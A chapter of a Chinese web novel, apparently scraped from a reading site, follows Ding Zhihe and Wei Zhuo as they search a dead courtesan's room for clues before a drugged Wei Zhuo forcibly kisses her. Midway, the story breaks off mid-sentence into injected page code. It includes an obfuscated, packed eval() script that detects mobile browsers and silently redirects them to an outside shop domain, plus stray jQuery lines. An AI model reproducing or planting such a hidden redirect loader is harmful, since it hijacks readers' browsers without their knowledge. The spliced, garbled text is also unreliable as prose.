只是为了赏金?
卫琢冷哼一声:“你倒是会找理由!”
“大人,我发誓我说的都是真的!实不相瞒,我这个人最喜欢金银财宝了,若不是为了领赏金,我也不会冒险翻窗进来。
原本我是想等找到更多的线索之后再去大理寺禀告大人的,但没想到竟然在这里和大人相遇了,我就知道大人您英明神武,肯定早就发现醉月楼不对劲了!
我来都来了,不如就帮大人一起找找这房间里有没有其他有用的线索?”
这女人还真是巧舌如簧,也太聒噪了些。
卫琢冷声道:“不需要你帮忙,你闭嘴,老实站在一旁。”
他体内的那股燥意还在不停地往上涌,若是再耽误下去,今日只怕就要无功而返了。
卫琢不再管丁知禾,转而在房间里继续搜寻起来。
丁知禾一颗心始终提着,她刚才的说辞只怕不能彻底打消这位大理寺卿的怀疑,她必须想办法让这位大理寺卿相信她,否则她肯定会被再次压入大理寺的监牢。
她不敢打扰卫琢,只能静静的守在一旁。
卫琢将屋里搜了一遍,没有任何发现,然后他就走到了床尾的衣柜旁,将里面放着的衣物又仔细检查了一遍,却依旧没发现任何可疑的东西。
就在他正要重新合上衣柜的门时,几步之外的丁知禾却走了过来。
“大人,等等!”
丁知禾注意到了放在针线筐里的一个香囊。
这个香囊是被绣了一半的,还没有来得及收口,她走到卫琢身边,将里面的香囊拿起来,仔细打量。
这香囊的面料极好,用的是缂丝,在大梁朝,素有“一寸缂丝一寸金”的说法。
做一个香囊要用到这样的面料,当真是很奢侈了。
最重要的是这香囊的样式和颜色明显更适合男子佩戴。
这针线筐放在衣柜的最上层,香囊上面还扎着针线,紫云生前应当是正在缝制这个香囊。
她做男子款式的香囊肯定是要送人的,恐怕与她的心上人有关。
丁知禾捏着手中的香囊,只觉里面装着的东西还有点硌手,她将香囊那处还未来得及收口的地方拉扯的松了一些,从里取出了一个十分精致的小宝塔。
这宝塔只有手指的一节指节大,塔身内部中空,里面放置着一卷经文,底部的一处边缘摸起来有些粗糙,似乎还刻着字。
丁知禾将小宝塔举高,借着窗外透进来的月光,她看清了上面雕刻的字迹——广德寺。
这是法舍利,而且还是广德寺的法舍利!
说起广德寺,大梁朝几乎无人不知。
三年前,广德寺还只是汴京城郊的一座小寺庙,没什么名气,香火也不旺盛。
可是自从上一任主持圆寂火化留下舍利子之后,广德寺便开始渐渐出了名。
有一次,当今陛下出宫春游,路过这间寺庙的时候听到了舍利子的传闻,出于好奇便进了寺庙,与广德寺的现任主持慧远大师交谈甚欢。
慧远大师帮陛下解了一次签文,令陛下茅塞顿开,彻底了解了他的一件心事。
所以,在陛下回宫后没多久之后,慧远大师便成了大梁朝的国师,经常进出皇宫,深受陛下的信任。
上行下效,从此以后广德寺的香火越发的旺盛,不止是汴京城的百姓,就连其他州县的百姓都愿意千里迢迢来广德寺上香祈福。
也正是因为如此,广德寺的法舍利可以说得上是千金难求,很多达官贵族都想求到被寺中开光加持过的法舍利,以求平安顺遂、万事如愿。
紫云将这法舍利缝入香囊当中,一定是要将这香囊送给最为重要的人,丁知禾更加肯定了她刚才的猜测。
她看了一眼一旁的卫琢,连忙将手中的香囊和小宝塔都递了过去。
“大人,这香囊的样式是男子喜欢的,不仅面料贵重,里面还放着从广德寺求来的法舍利,紫云极有可能是要送给她的心上人。”
卫琢仔细看着手中的东西,他刚才并没有过多在意这个香囊,现在这样一看,这样式确实是男子才会戴的。
他侧头瞥了丁知禾一眼,这女人倒是细心,总归是没有白来,他将东西收好,低头看向丁知禾道:“你深夜闯入这里,身上的嫌疑很大,先和我回一趟大理寺吧。”
卫琢果然不会就这么放过她!
男人伸手揪住她后脖颈的衣领,竟是直接就要将她拎走。
丁知禾心中大惊,她忙开始挣扎起来。
“大人!这线索可是我找到的,我若是真有嫌疑,也不会提醒你了!”
女人的手脚慌乱的动着,挣扎间两人难免有了一些肢体接触,那股独属于女子的淡淡的馨香再次钻入了鼻尖。
卫琢只觉身体紧绷的那根弦一下子断裂了,原本压下去的那些反应瞬间汹涌而来。
他的脸色微变,牙关咬紧,想要控制住自己,只是体内的那股邪火却如同附骨之疽,越压越烈,他的眼底已泛起一片猩红,额头的青筋暴起。
丁知禾察觉到了男人那粗重的呼吸声,她以为卫琢是因为愤怒才变成这样的,顿时就更怕了。
“大人,你别冲动啊!我来这里真的只是为了找线索,好去大理寺衙门领赏金,怎么说我刚才也帮了你,请你高抬贵手,饶了我吧!”
丁知禾生怕卫琢又突然掏出那把匕首,对她痛下杀手,那她的小命真就不保了。
危急之下,她大着胆子朝男人的双腿用力踢了几下。
黑暗中,她听到了男人嘴里发出的一声闷哼,紧接着,她的衣领就被人松开了。
丁知禾心中一喜,转身就要跑,她先离开这里再说!
可是她还没来得及走出一步,她的手腕就被男人抓住了。
丁知禾猛的被拉进了男人的怀里,那宽阔的胸膛剧烈起伏着,即使隔着衣服,她也能够感觉到从男人身上散发出的灼热,还有那不可忽略的……她这下才察觉出不对劲。
卫琢的理智在逐渐丧失,他甩了甩脑袋,努力让自己保持清醒,只是那股横冲直撞的燥热被压制的太久,这一波反扑来的如此剧烈,他对自己那股极度的渴望都感
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17638987|204845||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
到了恐惧。
“大人,你清醒一点啊!”
丁知禾哪里还猜不到,卫琢这很明显就是中药了!
可是他刚才还好好的,怎么突然就变成这样了?
卫琢已经听不清丁知禾在说什么了,他只能看到女人的嘴唇在一张一合,那双唇红润饱满,似是夏日的蜜桃一般,看着很是解渴。
他的眼神瞬间变得极具侵略性,像是盯上了猎物的恶狼。
丁知禾心中有了一股不太好的预感,她下意识想逃离,只是卫琢并没有给她这个机会。
她的下巴被一只炙热的手掌托起,然后她就觉得自己的双唇被人重重咬住了。
好烫……好疼……
唇舌被搅弄翻滚,丁知禾被迫的承受着,整个人早已被男人圈进怀里,搭在她腰上的那条手臂还在不断的收紧,两人的身体紧贴,几乎没有一丝缝隙。
卫琢似乎还不满足,他的另一只手还在不停的摸着她的脸颊,那有些发烫的掌心似是会传染一般,从脸颊到全身,她也跟着热了起来。
丁知禾几乎快要喘不过气来了,唇齿磕碰,舌根发麻,一股淡淡的血腥气在两人的口中蔓延。
这不像是一个吻,更像是一场掠夺。
和卫琢的力气比起来,她的挣扎和反抗都像是孩童的玩闹。
不行!
再这样下去会更加失控的!
丁知禾想到了卫琢胸口那处还没有恢复好的伤口,她心一狠,猛的握紧拳,朝男人身上那处伤口攻去。
剧烈的疼痛传来,卫琢疼得倒吸了一口凉气,意识也恢复了一些。
“啪!”
丁知禾毫不留情给了他一巴掌。
她用衣袖擦了两下自己的嘴唇,愤怒骂道:“你这登徒浪子!”
卫琢的头被打偏,他伸手摸了摸自己的脸,眼底涌出了无尽的寒意,身上散发出的那股气势也越发的具有压迫感。
丁知禾炸毛一般向后躲去。
卫琢重重咬下自己的舌尖,随后掏出匕首在自己手掌心划了一道刀口,疼痛感传来的同时,他总算保持了清醒。
他冷冷瞥了丁知禾一眼,随后快速翻窗,跳入了漆黑的夜色当中。
总算走了!
丁知禾彻底放松下来,她这才后知后觉的意识到她后背已经出了一层的汗,整张脸更是热得发烫。
她也不能再在这里待下去了,刚才她们二人闹出来的动静似是不小,万一引来了其他人就不好了。
于是,丁知禾走到窗前,有些笨拙的翻出去,小心翼翼的移到牡丹所住卧房的窗前,轻手轻脚的翻了进去。
她放轻脚步,一路走到了床榻边,见牡丹睡得很沉,这才放心的在她身旁躺下,只是她却有些难以入睡,只要她一闭上眼睛,脑海里就会浮现出刚才的那一幕。
上辈子她谈过好几个男朋友,都是帅气小奶狗,就没有一个人的吻技是像卫琢这么差的!她的嘴唇一定破皮了,现在还疼着呢,打他一巴掌都便宜他了。
不过她打了卫琢,他应当不会报复她吧?